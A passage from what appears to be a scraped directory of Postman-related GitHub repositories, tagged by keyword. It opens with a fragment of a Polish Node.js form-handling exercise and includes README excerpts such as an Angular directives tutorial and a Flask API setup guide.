plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
nicolashenschel/postmanAPITesting
http, https, newman, package 		Playing with Postman (https://www.getpostman.com/) and newman (https://www.npmjs.com/package/newman) 0 stars 0 watchers 0 forks
patrick-castro/task-manager-api
application, auth, authentication, automat, automate, automated, development, email, explore, import, mail, manager, operation, operations, package, packages, party, server, server., service, services, task, user, web app 		A task manager API that explores important features of a web application, which are CRUD operations, user authentication, automated email transmission and many more with the help of various NPM packages and third party services. In development, Postman was used to make HTTP requests to the server. 0 stars 0 watchers 0 forks
Ppamo/newman_runner
docker, image, newman, package, runner, test, tests 		A docker image to run Postman tests using Newman NPM package 0 stars 0 watchers 0 forks
qijia00/Postman_JavaScript_npm_ChaiAssertionLibrary
execution, form, format, information, integration, move, moved, package, pipeline, script, scripts 		Sample Postman scripts I created in JavaScript with Chai Assertion Library. The scripts are also packaged by npm for easy execution and integration to CI/CD pipeline with Jenkins. Authentication information has been removed for privacy reasons. 0 stars 0 watchers 0 forks
SalahEddin/pman
collection, collections, package, test 		package to create postman test collections without Postman GUI 0 stars 0 watchers 0 forks
siddharth151199/authentication-in-node-js
auth, authentication, client, editor, node, package, rest 		use postman or rest client package in editor 0 stars 0 watchers 0 forks
vishweswaran-p/postman-doc-generator
collection, file, generator, package, postman collection, xlsx 		This package is used to create an xlsx file from the postman collection. 0 stars 0 watchers 0 forks
wechange-eg/cosinnus-message
deprecated, django, implementation, integration, message, messaging, package, solution 		A direct messenging implementation for the WECHANGE suite. Based on django-postman. This package is being deprecated in favor of a direct-messaging solution using RocketChat integration. 0 stars 0 watchers 0 forks
werbasinnotec/wi-postman
note, package, packages 		Letterman will response and request all packages from a REST API 0 stars 0 watchers 0 forks

access (31 listings) (Back to Top)

MicrosoftCSA/documentdb-postman-collection
access, collection, demonstrating, document, documentdb, rating 		Postman collection demonstrating REST access for DocumentDB 0 stars 0 watchers 36 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Advsol/iMISRESTCollection
access, endpoint, endpoints, environment, environments, interface 		Collection of endpoints and environments used to access the iMIS RESTful interface 4 stars 4 watchers 1 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
andela-cofor/Document-Management-System
access, define, document, documents, manages, role, roles, system, user, users 		Document Management System: The system manages documents, users and user roles. Each document defines access rights; the document defines which roles can access it. 1 stars 1 watchers 2 forks
shelleypham/GE-Current-Hackathon-API-Tutorial
access, details, document, documentation, environment, hackathon, resource, resources, retrieve, source, token, tokens 		This documentation provides more details on how to set up the hackathon environment on Postman, retrieve Intelligent Cities and Intelligent Enterprises access tokens, and how to use those access token to retrieve resources 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
bbmorten/tetration-postman
access, sample, script, scripts, setting, settings 		Environment settings, pre-request script, and sample Postman scripts for accessing the Tetration API 0 stars 0 watchers 1 forks
deepkamal/magento-automations
access, agent, automat, automation, collection, magento, postman collection, script 		script and postman collection for Magento access 0 stars 0 watchers 0 forks
andela-Taiwo/Document_Manager
access, accessed, chai, document, documents, enable, store, tool, track, user 		Reliable-Docs API is an API developed to enable user to track, manage and store documents. The end points can be accessed with Postman or alternate API toolchain. 0 stars 0 watchers 0 forks
aisabel/Postman-pinterestExamples
access, account, dashboard, rest, rest api, spec, token, tokens 		This repository is just to access pinterest api and create dashboards in a specific account using tokens. 0 stars 0 watchers 0 forks
anjalee-narenthiren/PointcloudBug
access, cloud, file, html, index, variable 		Run the index.html file. You will have to use postman to get an access key and update the accessToken variable on line 33 of main.js. 0 stars 0 watchers 0 forks
Apollo013/AspNet_WebApi2_MultiPipeLine
access, config, configure, controller, demonstrate, lines, multiple, pipeline, piplines, spec, test 		A small ASP.NET that demonstrates how to configure a WEB API project to have multiple piplines and specify which controllers are accessible for each pipeline. Requires Fiddler or POSTMAN to test. 0 stars 0 watchers 0 forks
BhaveshBangera/JWTApplication
access, application, auth, authenticate, authenticated, data, token, user 		This is a basic application built using Django-REST Framework. Here when a user is authenticated, he is provided a token (i.e. JSON Web Token) by the Authentication Server, with the help of which he is able to make an API Call to our Application. Our Application verifies the token and then only user gets access to API data. 0 stars 0 watchers 0 forks
ChiragSoni95/Stores_REST_API
access, auth, authentication, store, stores, user 		A REST API to access items, stores, user authentication. 0 stars 0 watchers 0 forks
davislee7/Basic-Api
access, support 		Basic API (no ui, access through Postman or Curl) with CRUD support 0 stars 0 watchers 0 forks
fazleyrabby/xhr_google_drive_file_access
access, drive, file, google 		XHR response from Google drive file using Google API and postman 0 stars 0 watchers 0 forks
gloryer/jsonwebtoken
access, auth, authenticate, authenticates, authentication, back end, client, endpoint, exposes, form, format, http, information, issue, json, jsonwebtoken, registration, resource, send, server, server., source, test, tested, token, user, verify 		A demo back end server exposes user registration endpoint, user authentication endpoint, token endpoint and resource endpoint. The resource endpoint is protected by the JWT token. Only the client who possesses the valid token can access the resource. To get a token from the server, the client must authenticates itself to the server. To request the resource in the server, the client issue an http GET request to the resource endpoint, the server will verify the recieved jwt token. Once the token is valid, the server will send back the user information which indicated in the jwt token. Front-end has not been implemented so far. The back-end is tested using Postman. 0 stars 0 watchers 0 forks
harenlewis/api-hub
access, accessed, advance, advanced, application, development, dummy, mock, multiple, server, server., user, users 		A mock server application where in development or dummy APIs can be created and accessed by multiple users. Similar to Postman's advanced mock server. 0 stars 0 watchers 0 forks
karbonhq/karbon-api-reference
access, developer, developers, file, files, reference 		Access to Postman files and other items to make accessing the API easier for our developers. 0 stars 0 watchers 0 forks
KenC1014/Task-management-app
access, application, backend, endpoint, endpoints, file, files, server, task 		This contains all server side Node.js files for task management application. This is a pure backend application. All the endpoints are accessible via Postman. Express server and Mongoose are used. 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks
kullapareddypranay/task-manager-api
access, manager, related, rest, task 		rest-api ,Use postman or others related for accessing the api 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
madearipermadi/BusinessCentral_PostmanCollection
access 		Postman Collection to access Business Central API 0 stars 0 watchers 0 forks
minhhai2209/postman-sample
access, environment, fork, github, http, https, modification, newman, properties, sample 		Sample on how to use the fork at https://github.com/minhhai2209/newman#accessible-environment to set Postman properties from Newman. See the modification at https://github.com/minhhai2209/postman-runtime/commit/764c6b9a170e71b055dce077fba12960e6b87d93. 0 stars 0 watchers 0 forks
mohiuddin06617/Level3RESTAPI
access, action, client, test 		This is a Level 3 ASP .Net Web API. I have use Authorization and Authentication to access the action. You can test with api client postman. 0 stars 0 watchers 0 forks
pacjman/api-node-wordpress
access, data, node, wordpress 		Read-only data access for Wordpress 0 stars 0 watchers 0 forks
sharejee-prepare-teach/access-oauth2-with-postman
access, api blueprint, asyncapi, auth, json schema, oauth, oauth2, openid, prepare, sql 		0 stars 0 watchers 0 forks
treetrunkz/nodeapp
access, accessed, application, dynamic, dynamically, express, install, interface, list, module, modules, mongo, mongoose, multiple, node, nodejs, parse, parser, server, todo, tree, user, users 		This is a nodejs application. It is a todo list that can be accessed and created by multiple users. The API is accessed by Postman. The server and interface is set up to POST and GET dynamically. To populate node_modules `npm install ejs, express, mongoose, body-parser --save -g` + tsc -w 0 stars 0 watchers 0 forks
VignaanVardhan/API
access, client, file, files, folder, folders 		API to get the files and folders in a folder in a folder and get a file by ID,Ability to access this API via REST client like POSTMan 0 stars 0 watchers 0 forks

design (30 listings) (Back to Top)

SAP-samples/sapbydesign-api-samples
collection, collections, consume, design, enable, enables, sample, samples, service, services, user, users 		A set of Postman collections that enables users to consume SAP Business ByDesign web services. 24 stars 24 watchers 22 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 